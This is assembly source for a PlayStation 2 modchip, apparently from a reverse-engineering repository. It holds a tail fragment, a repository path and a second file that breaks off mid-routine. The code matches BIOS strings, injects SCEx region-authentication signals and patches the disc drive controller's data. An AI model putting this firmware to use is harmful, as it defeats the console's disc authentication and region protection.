$0D VAR_PSX_TEMP = $10 VAR_PSX_BYTE = $11 VAR_PATCH_FLAGS = $0E VAR_SWITCH = $0F VAR_BIOS_REV = $12 VAR_BIOS_YR = $13 VAR_BIOS_REGION_TEMP = $14 VAR_PSX_BITC = $15 VAR_PSX_BC_CDDVD_TEMP = $16 ELSE ;regs sx28 VAR_DC1 = $08 ; DS 1 ; delay counter 1(small) VAR_DC2 = $09 ; DS 1 ; delay counter 2(small) VAR_DC3 = $0A ; DS 1 ; delay counter 3(big) VAR_DC4 = $0b ; DS 1 ; delay counter 4 VAR_PSX_TEMP = $0C ; DS 1 ; SEND_SCEX: rename later VAR_PSX_BYTE = $0D ; DS 1 ; SEND_SCEX: byte(to send) VAR_PATCH_FLAGS = $0E ; DS 1 VAR_SWITCH = $0F ; DS 1 VAR_BIOS_REV = $10 ; DS 1 ; 1.X0 THE BIOS REVISION byte infront in BIOS string is X.00 VAR_BIOS_YR = $11 ; DS 1 ; byteC of ;BIOS_VERSION_MATCHING VAR_BIOS_REGION_TEMP = $12 ; DS 1 ; temp storage to compare byte7 of ;BIOS_VERSION_MATCHING VAR_PSX_BITC = $13 ; DS 1 ; SEND_SCEX: bit counter ;note start at 8(works down to 0) VAR_PSX_BC_CDDVD_TEMP = $14 ; DS 1 ; SEND_SCEX: byte counter note start at 4(works down to 0) ; also used with mechacon patches and ps1 detect ENDIF ;------------------------------------------------------------ ;VAR_PATCH_FLAGS ;------------------------------------------------------------ EJ_FLAG = VAR_PATCH_FLAGS.0 ;bit 0 used by eject routine SOFT_RST = VAR_PATCH_FLAGS.1 ;soft reset flag for disk patch PSX_FLAG = VAR_PATCH_FLAGS.2 ;psx mode flag V10_FLAG = VAR_PATCH_FLAGS.3 ;bios 1.9 or 2.0 ;also v10 1.9 bios has own ps1 routine UK_FLAG = VAR_PATCH_FLAGS.4 USA_FLAG = VAR_PATCH_FLAGS.5 JAP_FLAG = VAR_PATCH_FLAGS.6 SCEX_FLAG = VAR_PATCH_FLAGS.7 ;set when SCEX_LOW loop for injecting. once cleared knows patching done to flow forward ;------------------------------------------------------------ ;VAR_SWITCH ;------------------------------------------------------------ V12_FLAG = VAR_SWITCH.0 ;v12 console 2.0 bios set V12LOGO_FLAG = VAR_SWITCH.1 ;PS1_MODE v12 2.0 bios console flag ? ;SECOND_BIOS_PATCH_END ref if was doing ps1 patching for 2.0 v12 as redirects flow there for different patch. JAP_V8 = VAR_SWITCH.2 X_FLAG = VAR_SWITCH.3 ;set when HOLD_BOOT_MODES only clrb when end ? ;can flow onto ps1 reboot into PS1_MODE if detect ps1 media DEV1_FLAG = VAR_SWITCH.4 V14_FLAG = VAR_SWITCH.5 ;set due to W for region of BIOS which decka models V0_FLAG = VAR_SWITCH.6 ;V0 10-18K console flag ;------------------------------------------------------------ ;CODE ;------------------------------------------------------------ ;mode setup for io's ;todo ;ref SX-SX-Users-Manual-R3.1.pdf section 5.3.2 IFDEF SX48 ;mode setup for io's ;todo ;ref SX-SX-Users-Manual-R3.1.pdf section 5.3.2 org $0FFF ; Reset Vector reset STARTUP ; jmp to startup process on reset vector skipping boot inital ;****** Reset of the chip ******************************** org $0000 ; PAGE1 000-1FF ;INTERRUPT ;goes to sleep and wait for reset release ( 1 ) or tray close (0) ... mov w,#$1f mov m,w mov w,#$ff mov !IO_DVD_DATA,w mov w,#$ff mov !IO_CDDVD_BUS,w mov w,#$ff mov !ra,w mov w,#$ff mov !re,w mov w,#$1a mov m,w mov w,#$8 mov !IO_CDDVD_BUS,w mov w,#$19 mov m,w clr w mov !IO_CDDVD_BUS,w mov w,#$1b mov m,w mov w,#$f3 mov !IO_CDDVD_BUS,w mov w,#$1f mov m,w sleep ;INIT_CHIP STARTUP mov w,#$1d mov m,w mov w,#$f7 mov !IO_CDDVD_BUS,w IFDEF H2O75KJMPERS mov w,#$1e ;; extra needed for io v14jmp mov m,w mov w,#$be mov !IO_CDDVD_BUS,w ;; end extra io v14jmp ENDIF mov w,#$1f mov m,w mov w,#$7 mov !ra,w mov w,#$ff mov !IO_CDDVD_BUS,w mov w,#$ff mov !IO_DVD_DATA,w mov w,#$c7 mov !option,w ;read power down register clr fsr mov w,#$19 mov m,w clr w mov !IO_CDDVD_BUS,w mov VAR_PSX_BITC,w mov w,#$1f mov m,w ELSE org $07FF reset STARTUP ; jmp to startup process on reset vector skipping boot inital ;****** Reset of the chip ******************************** org $0000 ; PAGE1 000-1FF ;INTERRUPT ;goes to sleep and wait for reset release ( 1 ) or tray close (0) ... mode $000F mov w,#$ff ; 1111 1111 mov !IO_DVD_DATA,w ;to be sure ports are input ... mov w,#$ff ; 1111 1111 mov !IO_CDDVD_BUS,w ;.... mov w,#$ff ; 1111 1111 mov !ra,w ;... mode $000A ;set up edge register mov w,#$8 ; 0000 1000 mov !IO_CDDVD_BUS,w ;RB3 wait for LOW ( = 1 ),RB2 wait for hi ( =0 ) mode $0009 ;clear all wakeup pending bits clr w mov !IO_CDDVD_BUS,w mode $000B ;enable wakeup... mov w,#$f3 ; 1111 0011 mov !IO_CDDVD_BUS,w ;... on & RB2 (reset) mode $000F sleep ;INIT_CHIP STARTUP ;here from stby & wake up... mode $000D ;TTL/CMOS mode... mov w,#$f7 ;1111 0111 mov !IO_CDDVD_BUS,w ;set IO_EJECT input as cmos ( level '1' > 2.5V ) work better with noise ... IFDEF H2O75KJMPERS mode $000E ;? ;; h and f io jmpers needed/extra 75k/v8jap mov w,#$be ; 1011 1110 mov !IO_CDDVD_BUS,w ;; end ENDIF mode $000F ;port mode mov w,#$7 ; 0000 0111 mov !ra,w ;port mode : all input mov w,#$ff mov !IO_CDDVD_BUS,w mov w,#$ff mov !IO_DVD_DATA,w mov w,#$c7 mov !option,w ;rtcc enabled,no int,incr.on clock, prescaler (bit 2,1,0). ;read power down register clr fsr mode $0009 ;read power down register clr w ;clear W mov !IO_CDDVD_BUS,w ;exchange registers = read pending bits mov VAR_PSX_BITC,w ;save wake up status ... mode $000F ;need 'cause removed from patch disk for speed ! ENDIF CLEAR_CONSOLE_INFO_PREFIND clr VAR_PATCH_FLAGS ;reset all used flag... clr VAR_SWITCH jmp V0_CONSOLE_CDDVD_START ;-------------------------------------------------------------------------------- CDDVD_PATCH_DATA_v0 ;-------------------------------------------------------------------------------- jmp pc+w retw $0 ; 1 retw $02 ; 2 retw $0 ; 3 retw $80 ; 4 retw $0 ; 5 retw $80 ; 6 V0_CONSOLE_CDDVD_START mov w,#4;$4 mov VAR_DC1,w V0_AND_BYTE_SYNC1_L1 snb IO_CDDVD_OE_A_1Q ;wait sync byte FF FF FF FF jmp V0_AND_BYTE_SYNC1_L1 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R mov w,IO_DVD_DATA mov VAR_PSX_BC_CDDVD_TEMP,w mov w,#$FF mov w,VAR_PSX_BC_CDDVD_TEMP-w sb z jmp V0_CONSOLE_CDDVD_START decsz VAR_DC1 jmp V0_AND_BYTE_SYNC1_L1 V0_AND_BYTE_SYNC1_L2 snb IO_CDDVD_OE_A_1Q ;want byte 10 after FF FF FF FF or reloop (fixed ps2 dvd unlock run) jmp V0_AND_BYTE_SYNC1_L2 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R mov w,IO_DVD_DATA mov VAR_PSX_BC_CDDVD_TEMP,w mov w,#$10 mov w,VAR_PSX_BC_CDDVD_TEMP-w sb z jmp V0_AND_BYTE_SYNC1_L1 V0_CONSOLE_string_sync mov w,#3 mov VAR_DC1,w V0_AND_BYTE_SYNC1_L1_sync snb IO_CDDVD_OE_A_1Q ;wait sync byte 5F FF FF 3x in row jmp V0_AND_BYTE_SYNC1_L1_sync clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R mov w,IO_DVD_DATA mov VAR_PSX_BC_CDDVD_TEMP,w mov w,#$5F mov w,VAR_PSX_BC_CDDVD_TEMP-w sb z jmp V0_CONSOLE_string_sync V0_AND_BYTE_SYNC1_L1_sync1 snb IO_CDDVD_OE_A_1Q jmp V0_AND_BYTE_SYNC1_L1_sync1 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R mov w,IO_DVD_DATA mov VAR_PSX_BC_CDDVD_TEMP,w mov w,#$FF mov w,VAR_PSX_BC_CDDVD_TEMP-w sb z jmp V0_CONSOLE_string_sync V0_AND_BYTE_SYNC1_L1_sync2 snb IO_CDDVD_OE_A_1Q jmp V0_AND_BYTE_SYNC1_L1_sync2 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R mov w,IO_DVD_DATA mov VAR_PSX_BC_CDDVD_TEMP,w mov w,#$FF mov w,VAR_PSX_BC_CDDVD_TEMP-w sb z jmp V0_CONSOLE_string_sync decsz VAR_DC1 jmp V0_AND_BYTE_SYNC1_L1_sync preload_var clr w ; start 0 as universal run mov VAR_DC2,w mov w,#6 ;6 of bytes to patch after first preloaded total 7 mov VAR_DC3,w mov w,#$03 mov IO_DVD_DATA,w ;first byte preload ready for in to out change patchv0mech snb IO_CDDVD_OE_A_1Q jmp patchv0mech clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R mov w,#$1f mov m,w mov w,#$0 ; IO_DVD_DATA goes output mov !IO_DVD_DATA,w RUN_v0patch1 mov w,VAR_DC2 call CDDVD_PATCH_DATA_v0 RUN_CDDVD_PATCH_v0 snb IO_CDDVD_OE_A_1Q jmp RUN_CDDVD_PATCH_v0 mov IO_DVD_DATA,w clrb IO_CDDVD_OE_A_1R inc VAR_DC2 setb IO_CDDVD_OE_A_1R decsz VAR_DC3 jmp RUN_v0patch1 postpatchv0mecha snb IO_CDDVD_OE_A_1Q jmp postpatchv0mecha mov w,#$ff mov !IO_DVD_DATA,w RB_IO_SET_SLEEP mode $000A ; XAh WKED_B Each register bit selects the edge sensitivity of the corresponding Port B input pin for MIWU operation. ;todo mov w,#$6 ; 0000 0110 Set the bit to 1 to sense falling (high-to-low) edges. mov !IO_CDDVD_BUS,w ; rb.1 IO_BIOS_CS rb.2 IO_REST high-to-low sense mode $0009 ; X9h Exchange WKPND_B clr w ; 0000 0000 mov !IO_CDDVD_BUS,w ; A bit set to 1 indicates that a valid edge has occurred on the corresponding MIWU pin, triggering a wakeup or interrupt. ; A bit set to 0 indicates that no valid edge has occurred on the MIWU pin. ; The WKPND_B register comes up with undefine value upon reset. mode $000B ; XBh WKEN_B Multi-Input Wakeup/Interrupt (MIWU) function for the corresponding Port B input pin. mov w,#$f3 ; 1111 0011 mov !IO_CDDVD_BUS,w ; rb.2 IO_REST rb.3 IO_EJECT enabled sleep

1nick9/PS2-Magic-ICE-FINAL-REVERSE

177,042

randomWIPsince-reverse/v0messiah2port/ps2bootonlylanding-skip-logofixonly-pdv-osdsys-logo-testlogofix-mechadvdport.s

;******************************************************************************** ; h2o-orange-F-ntscconsoleps1fix-v8japsupportadded.sxh hash 3158b96dd151bdd71406c4c05b80915e ;******************************************************************************** ;DEFINE ;expermenting defines, not needed. ;SX48RAM = 1 ; unneeded memory remap, has issues with 75k ps1drv, likely some wrong cals ;SX Chip used. SX48 uncomment below. SX28 have commented. SX48 = 1 ; uncomment for compiling for sx48 else is compiled for sx28 F=TR ;RSTBUMP = 1 ; uncomment for compiling with restbump for ps1mode. sx28 or this and next define aswell for sx48 E51E9226F0360FBAA2510BDFDA0BC433 ;USE SX48RSTBUMP ONLY FOR SX COMPILING FOR SX48. Both RSTBUMP and SX48RSTBUMP must be on ;SX48RSTBUMP = 1 ; uncomment for compiling with restbump for ps1mode. for sx48 with RSTBUMP uncommented 4D74D099733ACDDCBB4F046B4258B20C ;V14/V8jap identiy jmpers. if using sx48 needs the trim, sx28 either can go but stock code is without trim ;H2O75KJMPERS = 1 ; uncomment for compiling with restbump for ps1mode. if compiling for rstbmp use one of the sx28/sx48 with h2o v14usa/v14jap/v8jap ident jmpers else use F=TR defines 3158B96DD151BDD71406C4C05B80915E ;SX48H2O75KJMPERSTRIM = 1 ; needed if using h2o jmpers ident with sx48 rstbmp. h needs to go to 5v if not jap console or triggers my cad. D146DFD2DFC6F641029CA7A2A1529DD3 ;USE ONLY IF F=TR or RSTBUMP without H2O75KJMPERS. ;pal v14 dont define any. for jap/usa define only one for 75k this will make f=tr work correctly also h=rw usa/pal f=tr 75k pal sx28 0F465F30D6207AF98456841781DEC442 sx48 A7B089F1BEFF0EE9EE002CB378A1D018 ;USAv14 = 1 ;uncomment for fixed 75k being usa region. all prior still work any region f=tr 75k usa sx28 0F7BAA63B5735E9A0D7C40BAF4E57A7B sx48 CD93EF4293DA0171269FE8C42E7E6D1E ;JAPv14orv8 = 1 ;uncomment for fixed 75k being jap region. all prior still work any region f=tr 75k jap sx28 17F5B31F88A8CF440BF83BB7B52587F4 sx48 8A998B76CC47D7A65D7C61A4F2901570 ;also for v7 to use v9+ mechacon patch for v8 jap support f=tr ;NTSCPS1YFIX75K = 1 ;uncomment for 75k NTSC IMPORT YFIX PAL CONSOLE TESTED makes pal off screen but ntsc correct. off pal correct, ntsc crushed. ;NTSCPS1YFIX75K ON rstbump 891246cec7e63bc112c4005b700a7a22 f=tr 75k pal ec962491125e6e2196e215b6cb5222a1 ;; checksums 75kps1yfix not updated ;only rstbump v8jap tested but rest should be right IFDEF SX48 device SX48,TURBO,BOROFF,OSCHS2,OPTIONX,WDRT006 ID 'ICEREV' ELSE device SX28,TURBO,PROTECT,BOROFF,BANKS8,OSCHS2,OPTIONX ID 'ICEREV' ENDIF ;io pin assignments IO_SCEX = ra.2 ; (PSX:SCEx)RA2(S) IO_BIOS_OE = ra.0 ; (R) IO_BIOS_CS = rb.1 ; (W) ; LOW = BIOS select ; 1 = no access to rom , 0 = access to rom IO_REST = rb.2 ; ; 1 = normal , 0 = reset IO_EJECT = rb.3 ; (PS2:EJECT)RB3(Z) ; 1 = tray open , 0 = tray closed IO_CDDVD_OE_A_1Q = ra.1 ; (CDDVD:OE)RA1(A) (flipflop 1Q#) ;A from flip flop IO_CDDVD_OE_A_1R = ra.3 ; (CDDVD:OE)RA3(A) (flipflop 1R#) ;flip flop clr IO_CDDVD_BUS_i = rb.7 ; (I)(CDDVD:D7) IO_CDDVD_BUS_b = rb.4 ; (B)(CDDVD:D2) IO_CDDVD_BUS_f = rb.0 ; (F)(just used for usa v14 jmp or clash with f=tr on v14 usa) IO_CDDVD_BUS_h = rb.6 ; (H)(how determins is jap v14 if connected, assumption is no RW support at all on v14 RSTBUMP unless sync works out for when checked) IO_CDDVD_BUS = rb ; $06 IO_BIOS_DATA = rc ; $07 ; (V)RC0(BIOS:D0) - (M)RC7(BIOS:D7) IFDEF SX48 ;regs sx48 VAR_DC1 = $0A VAR_DC2 = $0B VAR_DC3 = $0C VAR_DC4 = $0D VAR_PSX_TEMP = $10 VAR_PSX_BYTE = $11 VAR_PATCH_FLAGS = $0E VAR_SWITCH = $0F VAR_BIOS_REV = $12 VAR_BIOS_YR = $13 VAR_BIOS_REGION_TEMP = $14 VAR_PSX_BITC = $15 VAR_PSX_BC_CDDVD_TEMP = $16 ELSE ;regs sx28 VAR_DC1 = $08 ; DS 1 ; delay counter 1(small) VAR_DC2 = $09 ; DS 1 ; delay counter 2(small) VAR_DC3 = $0A ; DS 1 ; delay counter 3(big) VAR_DC4 = $0b ; DS 1 ; delay counter 4 VAR_PSX_TEMP = $0C ; DS 1 ; SEND_SCEX: rename later VAR_PSX_BYTE = $0D ; DS 1 ; SEND_SCEX: byte(to send) VAR_PATCH_FLAGS = $0E ; DS 1 VAR_SWITCH = $0F ; DS 1 VAR_BIOS_REV = $10 ; DS 1 ; 1.X0 THE BIOS REVISION byte infront in BIOS string is X.00 VAR_BIOS_YR = $11 ; DS 1 ; byteC of ;BIOS_VERSION_MATCHING VAR_BIOS_REGION_TEMP = $12 ; DS 1 ; temp storage to compare byte7 of ;BIOS_VERSION_MATCHING VAR_PSX_BITC = $13 ; DS 1 ; SEND_SCEX: bit counter ;note start at 8(works down to 0) VAR_PSX_BC_CDDVD_TEMP = $14 ; DS 1 ; SEND_SCEX: byte counter note start at 4(works down to 0) ; also used with mechacon patches and ps1 detect ENDIF ;------------------------------------------------------------ ;VAR_PATCH_FLAGS ;------------------------------------------------------------ EJ_FLAG = VAR_PATCH_FLAGS.0 ;bit 0 used by eject routine SOFT_RST = VAR_PATCH_FLAGS.1 ;soft reset flag for disk patch PSX_FLAG = VAR_PATCH_FLAGS.2 ;psx mode flag V10_FLAG = VAR_PATCH_FLAGS.3 ;bios 1.9 or 2.0 ;also v10 1.9 bios has own ps1 routine UK_FLAG = VAR_PATCH_FLAGS.4 USA_FLAG = VAR_PATCH_FLAGS.5 JAP_FLAG = VAR_PATCH_FLAGS.6 SCEX_FLAG = VAR_PATCH_FLAGS.7 ;set when SCEX_LOW loop for injecting. once cleared knows patching done to flow forward ;------------------------------------------------------------ ;VAR_SWITCH ;------------------------------------------------------------ V12_FLAG = VAR_SWITCH.0 ;v12 console 2.0 bios set V12LOGO_FLAG = VAR_SWITCH.1 ;PS1_MODE v12 2.0 bios console flag ? ;SECOND_BIOS_PATCH_END ref if was doing ps1 patching for 2.0 v12 as redirects flow there for different patch. JAP_V8 = VAR_SWITCH.2 X_FLAG = VAR_SWITCH.3 ;set when HOLD_BOOT_MODES only clrb when end ? ;can flow onto ps1 reboot into PS1_MODE if detect ps1 media DEV1_FLAG = VAR_SWITCH.4 V14_FLAG = VAR_SWITCH.5 ;set due to W for region of BIOS which decka models V0_FLAG = VAR_SWITCH.6 ;V0 10-18K console flag ;------------------------------------------------------------ ;CODE ;------------------------------------------------------------ ;mode setup for io's ;todo ;ref SX-SX-Users-Manual-R3.1.pdf section 5.3.2 IFDEF SX48 ;mode setup for io's ;todo ;ref SX-SX-Users-Manual-R3.1.pdf section 5.3.2 org $0FFF ; Reset Vector reset STARTUP ; jmp to startup process on reset vector skipping boot inital ;****** Reset of the chip ******************************** org $0000 ; PAGE1 000-1FF ;INTERRUPT ;goes to sleep and wait for reset release ( 1 ) or tray close (0) ... mov w,#$1f mov m,w mov w,#$ff mov !IO_BIOS_DATA,w mov w,#$ff mov !IO_CDDVD_BUS,w mov w,#$ff mov !ra,w mov w,#$ff mov !re,w mov w,#$1a mov m,w mov w,#$8 mov !IO_CDDVD_BUS,w mov w,#$19 mov m,w clr w mov !IO_CDDVD_BUS,w mov w,#$1b mov m,w mov w,#$f3 mov !IO_CDDVD_BUS,w mov w,#$1f mov m,w sleep ;INIT_CHIP STARTUP mov w,#$1d mov m,w mov w,#$f7 mov !IO_CDDVD_BUS,w IFDEF H2O75KJMPERS mov w,#$1e ;; extra needed for io v14jmp mov m,w mov w,#$be mov !IO_CDDVD_BUS,w ;; end extra io v14jmp ENDIF mov w,#$1f mov m,w mov w,#$7 mov !ra,w mov w,#$ff mov !IO_CDDVD_BUS,w mov w,#$ff mov !IO_BIOS_DATA,w mov w,#$c7 mov !option,w ;read power down register clr fsr mov w,#$19 mov m,w clr w mov !IO_CDDVD_BUS,w mov VAR_PSX_BITC,w mov w,#$1f mov m,w ELSE org $07FF reset STARTUP ; jmp to startup process on reset vector skipping boot inital ;****** Reset of the chip ******************************** org $0000 ; PAGE1 000-1FF ;INTERRUPT ;goes to sleep and wait for reset release ( 1 ) or tray close (0) ... mode $000F mov w,#$ff ; 1111 1111 mov !IO_BIOS_DATA,w ;to be sure ports are input ... mov w,#$ff ; 1111 1111 mov !IO_CDDVD_BUS,w ;.... mov w,#$ff ; 1111 1111 mov !ra,w ;... mode $000A ;set up edge register mov w,#$8 ; 0000 1000 mov !IO_CDDVD_BUS,w ;RB3 wait for LOW ( = 1 ),RB2 wait for hi ( =0 ) mode $0009 ;clear all wakeup pending bits clr w mov !IO_CDDVD_BUS,w mode $000B ;enable wakeup... mov w,#$f3 ; 1111 0011 mov !IO_CDDVD_BUS,w ;... on RB3 ( eject ) & RB2 (reset) mode $000F sleep ;INIT_CHIP STARTUP ;here from stby & wake up... mode $000D ;TTL/CMOS mode... mov w,#$f7 ;1111 0111 mov !IO_CDDVD_BUS,w ;set IO_EJECT input as cmos ( level '1' > 2.5V ) work better with noise ... IFDEF H2O75KJMPERS mode $000E ;? ;; h and f io jmpers needed/extra 75k/v8jap mov w,#$be ; 1011 1110 mov !IO_CDDVD_BUS,w ;; end ENDIF mode $000F ;port mode mov w,#$7 ; 0000 0111 mov !ra,w ;port mode : all input mov w,#$ff mov !IO_CDDVD_BUS,w mov w,#$ff mov !IO_BIOS_DATA,w mov w,#$c7 mov !option,w ;rtcc enabled,no int,incr.on clock, prescaler (bit 2,1,0). ;read power down register clr fsr mode $0009 ;read power down register clr w ;clear W mov !IO_CDDVD_BUS,w ;exchange registers = read pending bits mov VAR_PSX_BITC,w ;save wake up status ... mode $000F ;need 'cause removed from patch disk for speed ! ENDIF ;execute correct startup... snb pd jmp CLEAR_CONSOLE_INFO_PREFIND ;0 = power up from sleep , 1= power up from Power ON (STBY) snb VAR_PSX_BITC.2 jmp TAP_BOOT_MODE snb IO_EJECT jmp TRAY_IS_EJECTED snb VAR_PSX_BITC.1 ;xcdvdman reload check page $0200 jmp POST_PATCH_4_MODE_START page $0200 jmp PS2_MODE_RB_IO_SET_SLEEP ;power up from STBY CLEAR_CONSOLE_INFO_PREFIND clr VAR_PATCH_FLAGS ;reset all used flag... clr VAR_SWITCH jmp BIOS_GET_SYNC ;--------------------------------------------------------- ;Delay routine using RTCC ;--------------------------------------------------------- ;-------------------------------------------------------------------------------- DELAY100m ;Precise delay routine using RTCC ;-------------------------------------------------------------------------------- mov w,#100;$64 mov VAR_DC1,w ;delay = 100 millisec. RTCC_SET_BIT mov w,#61;$3d mov rtcc,w ;load timer = 61 ; delay = (256-61)*256*0.02 micros.= 1000 micros. / 45 for 54M RTCC_CHECK mov w,rtcc ;wait for timer= 0 ... (don't use TEST RTCC) sb z ;skip next bit if rtcc = 0 jmp RTCC_CHECK ;loop w=rtcc till equal then will skip decsz VAR_DC1 ;VAR_DC1 = 100 count then skip next bit jmp RTCC_SET_BIT retp ;Return from call ;-------------------------------------------------------------------------------- SET_INTRPT ;setup interrupt routine ;-------------------------------------------------------------------------------- IFDEF SX48 mov w,#$1a mov m,w mov w,#$6 mov !IO_CDDVD_BUS,w mov w,#$19 mov m,w clr w mov !IO_CDDVD_BUS,w mov w,#$1b mov m,w mov w,#$f3 mov !IO_CDDVD_BUS,w mov w,#$1f mov m,w retp ELSE mode $000A ;set up edge register mov w,#$6 ; 0000 0110 mov !IO_CDDVD_BUS,w ; rb.1 IO_BIOS_CS rb.2 IO_REST high-to-low sense ;wait for low mode $0009 ;clear all wakeup pending bits clr w ; 0000 0000 mov !IO_CDDVD_BUS,w ; clear all wakeup pending bits ; set to 0 indicates that no valid edge has occurred on the MIWU pin. ; The WKPND_B register comes up with undefine value upon reset. mode $000B ;enable interrupt ; MIWU operation. see Section 4.4. mov w,#$f3 ; 1111 0011 mov !IO_CDDVD_BUS,w ; rb.2 IO_REST rb.3 IO_EJECT enable interrupt mode $000F ; XFh mode direction for RA, RB, RC output retp ENDIF ;-------------------------------------------------------------------------------- SCEX_HI ;-------------------------------------------------------------------------------- setb IO_SCEX ; SCEX HI ; Delay About 5mS mov w,#59;$3b ;#59 var_dc3 mov mov VAR_DC3,w :loop1 mov w,#212;$d4 ; #212 set for 50mhz mov VAR_DC2,w not ra :loop2 mov w,#3;$3 mov VAR_DC1,w :loop3 decsz VAR_DC1 jmp :loop3 decsz VAR_DC2 jmp :loop2 decsz VAR_DC3 jmp :loop1 ret ;-------------------------------------------------------------------------------- SCEX_LOW ;-------------------------------------------------------------------------------- clrb IO_SCEX ; SCEX LOW ; Delay About 5mS+ mov w,#59;$3b mov VAR_DC3,w :loop1 mov w,#212;$d4 ; #212 for 50mhz mov VAR_DC2,w snb IO_BIOS_CS ; next byte / wait for bios CE LOW = BIOS select jmp :loop2 setb SCEX_FLAG :loop2 mov w,#3;$3 mov VAR_DC1,w :loop3 decsz VAR_DC1 jmp :loop3 decsz VAR_DC2 jmp :loop2 decsz VAR_DC3 jmp :loop1 ret ;-------------------------------------------------------------------------------- SCEx_DATA ;-------------------------------------------------------------------------------- jmp pc+w ; retw values are ascii hex retw $53 ; S ; USA 0 retw $43 ; C retw $45 ; E retw $41 ; A retw $53 ; S ; JAP 4 retw $43 ; C retw $45 ; E retw $49 ; I retw $53 ; S ; UK 8 retw $43 ; C retw $45 ; E retw $45 ; E ;-------------------------------------------------------------------------------- SEND_SCEX ;-------------------------------------------------------------------------------- IFDEF SX48 snb USA_FLAG jmp usa ;; idea for space usa flow trigger snb UK_FLAG jmp uk jmp jap usa clr VAR_DC4 jmp SCEx_IO_SET uk mov w,#$8 mov VAR_DC4,w jmp SCEx_IO_SET jap mov w,#$4 mov VAR_DC4,w SCEx_IO_SET mov w,#$1f mov m,w mov w,#$b mov !ra,w mov w,#$4 mov VAR_PSX_BC_CDDVD_TEMP,w next_byte mov w,VAR_DC4 call SCEx_DATA mov VAR_PSX_BYTE,w not VAR_PSX_BYTE mov w,#$8 mov VAR_PSX_BITC,w call SCEX_LOW call SCEX_LOW call SCEX_HI send rr VAR_PSX_BYTE snb c jmp hi sc call SCEX_LOW jmp next2 hi call SCEX_HI next2 decsz VAR_PSX_BITC jmp send inc VAR_DC4 decsz VAR_PSX_BC_CDDVD_TEMP jmp next_byte clrb IO_SCEX mov w,#$16 mov VAR_DC4,w send_end call SCEX_LOW decsz VAR_DC4 jmp send_end mov w,#$1f mov m,w mov w,#$f mov !ra,w ret ELSE snb JAP_FLAG jmp jap snb UK_FLAG jmp uk clr VAR_DC4 jmp SCEx_IO_SET uk mov w,#8;$8 mov VAR_DC4,w jmp SCEx_IO_SET jap mov w,#4;$4 mov VAR_DC4,w jmp SCEx_IO_SET SCEx_IO_SET mov w,#4;$4 mov VAR_PSX_BC_CDDVD_TEMP,w mov w,#$b mov !ra,w next_byte mov w,VAR_DC4 call SCEx_DATA mov VAR_PSX_BYTE,w not VAR_PSX_BYTE mov w,#8;$8 mov VAR_PSX_BITC,w call SCEX_LOW call SCEX_LOW call SCEX_HI send rr VAR_PSX_BYTE snb c jmp hi sc call SCEX_LOW jmp next2 hi call SCEX_HI next2 decsz VAR_PSX_BITC jmp send inc VAR_DC4 decsz VAR_PSX_BC_CDDVD_TEMP jmp next_byte clrb IO_SCEX mov w,#22;$16 mov VAR_DC4,w send_end call SCEX_LOW decsz VAR_DC4 jmp send_end mov w,#$f mov !ra,w ret ENDIF ;-------------------------------------------------------------------------------- BIOS_WAIT_OE_LO_P1 ;-------------------------------------------------------------------------------- snb IO_BIOS_OE jmp BIOS_WAIT_OE_LO_P1 ret BIOS_GET_SYNC setb V0_FLAG ;;;; snb V0_FLAG jmp BIOS_JAP ; wait for "S201" seems to wait for "PS20" since 0.94 ; 0123456789ABC ; Read "PS201?0?C200?xxxx.bin" IFDEF SX48H2O75KJMPERSTRIM call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low nop ELSE snb IO_BIOS_OE ; next byte / wait for bios OE low jmp BIOS_GET_SYNC nop ENDIF mov w,#$50 ; ASCII P ; is byte0 = 'P' seems to be new count prior for "PS201?0?C200?xxxx.bin" mov w,IO_BIOS_DATA-w sb z jmp BIOS_GET_SYNC call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,#$53 ; ASCII S ; is byte1 (byte0 0.94) = 'S' ; v8 fix mov w,IO_BIOS_DATA-w sb z jmp BIOS_GET_SYNC call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,#$32 ; ASCII 2 ; is byte2 (byte1 0.94) = '2' mov w,IO_BIOS_DATA-w sb z jmp BIOS_GET_SYNC call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,#$30 ; ASCII 0 ; is byte3 (byte2 0.94) = '0' mov w,IO_BIOS_DATA-w sb z ;; alt v0 ident if C jmp BIOS_GET_SYNC call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low CAPTURE_BIOS_REV sb IO_BIOS_OE ; next byte / wait for bios OE high ; skipping byte4 for x.00 of bios jmp CAPTURE_BIOS_REV call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,IO_BIOS_DATA mov VAR_BIOS_REV,w ; capture byte5 as VAR_BIOS_REV ; v1.x0 of bios rev CAPTURE_BIOS_REGION IFDEF SX48H2O75KJMPERSTRIM call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low ELSE snb IO_BIOS_OE ; next byte / wait for bios OE low jmp CAPTURE_BIOS_REGION nop ;; extra sx28 ENDIF mov w,#$30 ; ASCII 0; is byte6 0 as fixed value check mov w,IO_BIOS_DATA-w sb z jmp CAPTURE_BIOS_REGION ;loop back to CAPTURE_BIOS_REGION if not ASCII 0 call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,IO_BIOS_DATA mov VAR_BIOS_REGION_TEMP,w ;store byte7 in VAR_BIOS_REGION_TEMP CHECK_BYTE_AB_REGION_CAPTURE_YR IFDEF SX48H2O75KJMPERSTRIM call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low ELSE snb IO_BIOS_OE ; next byte / wait for bios OE low jmp CHECK_BYTE_AB_REGION_CAPTURE_YR nop ;; extra sx28 ENDIF mov w,#$30 ; ASCII 0 is byteA mov w,IO_BIOS_DATA-w sb z jmp CHECK_BYTE_AB_REGION_CAPTURE_YR ;loopback if byteA not 0 CHECK_BYTE_AB_REGION_CAPTURE_YR call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,#$30 ; ASCII 0 is byteB mov w,IO_BIOS_DATA-w sb z jmp CHECK_BYTE_AB_REGION_CAPTURE_YR 